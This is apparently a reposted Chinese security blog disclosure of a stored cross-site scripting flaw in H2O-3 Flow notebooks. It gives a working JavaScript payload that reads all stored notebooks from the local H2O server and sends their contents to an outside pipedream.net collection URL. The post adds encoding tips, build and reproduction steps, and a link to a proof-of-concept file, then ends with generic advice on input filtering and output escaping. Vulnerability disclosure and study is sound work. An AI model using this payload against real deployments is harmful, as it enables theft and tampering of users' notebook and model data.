h2o-3介绍
/h2o-3 是一个开源的机器学习平台,它提供了丰富的算法和工具,用于大规模数据分析和模型训练。H2O-3 支持多种编程语言,包括Python、R和Java,并且可以在各种分布式环境中运行,如Hadoop和Spark。它的目标是提供高性能、易用性和可扩展性,以满足企业级的机器学习需求。H2O-3 提供了许多常用的机器学习算法,如线性回归、逻辑回归、决策树、随机森林、梯度提升等,同时还支持特征工程、模型选择和调优等功能。通过使用 H2O-3,用户可以更轻松地开发和部署机器学习模型,以帮助他们在数据驱动的决策中取得成功。
漏洞简述
在 h2o-3 中,所有开放的 Flow 的数据都可以通过 Stored XSS 漏洞泄露或篡改,并且可以在模型中修改或读取信息。
- hijack = (data) => {
- window.open(`https://b89f8f617e7792dc04cbdf2efbd5e0c9.m.pipedream.net/?data=${data}`)
- }
- flows_data = '';
- flows_name = [];
- fetch('http://localhost:54321/3/NodePersistentStorage/notebook')
- .then((x) => x.text())
- .then((x) => flows_data = JSON.parse(x))
- .then(() => {
- for(i = 0; i < flows_data['entries'].length; i++){
- flows_name.push(flows_data['entries'][i]['name'])
- }
- })
- .then(() => {
- for(i = 0; i < flows_name.length; i++){
- fetch(`http://localhost:54321/3/NodePersistentStorage/notebook/${flows_name[i]}`)
- .then((x) => x.text())
- .then((x) => hijack(x))
- }
- })
从所有flow泄漏数据的payload如上所述。要使用它而不会出现任何错误,您需要对其进行 base64 编码。
尝试构建
- # Build H2O
- git clone https://github.com/h2oai/h2o-3.git
- cd h2o-3
- ./gradlew build -x test
- You may encounter problems: e.g. npm missing. Install it:
- brew install npm
- # Start H2O
- java -jar build/h2o.jar
- # Point browser to http://localhost:54321
重现
前往 http://localhost:54321/flow/index.html
打开同一个文件:Sample Data.flow
打开 poc 文件:leak_poc.flow
单击leak_poc流上的播放按钮
Poc 文件地址:
https://drive.google.com/drive/folders/1yINoutLUbj2-kpJHsqiGPxz7jkpBI4MX?usp=sharing
下线吧
存储型XSS漏洞通常发生在应用程序未正确过滤或转义用户输入的情况下。攻击者可以利用这个漏洞在受害者的浏览器上执行恶意操作,如窃取用户的敏感信息、篡改网页内容、重定向用户到恶意网站等。
为了防止存储型XSS漏洞,开发人员应该在接收和显示用户输入时进行严格的输入验证和输出转义。对于用户输入的数据,应该过滤和限制特殊字符,并使用适当的编码方式来防止恶意脚本的注入。对于输出到页面的数据,应该使用适当的HTML编码或转义来确保任何用户输入都不会被解释为可执行的脚本代码。定期更新和修补应用程序也是保护免受存储型XSS漏洞的重要措施。
原文始发于微信公众号(jacky安全):h2oai/h2o-3 中的 核弹级xss
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论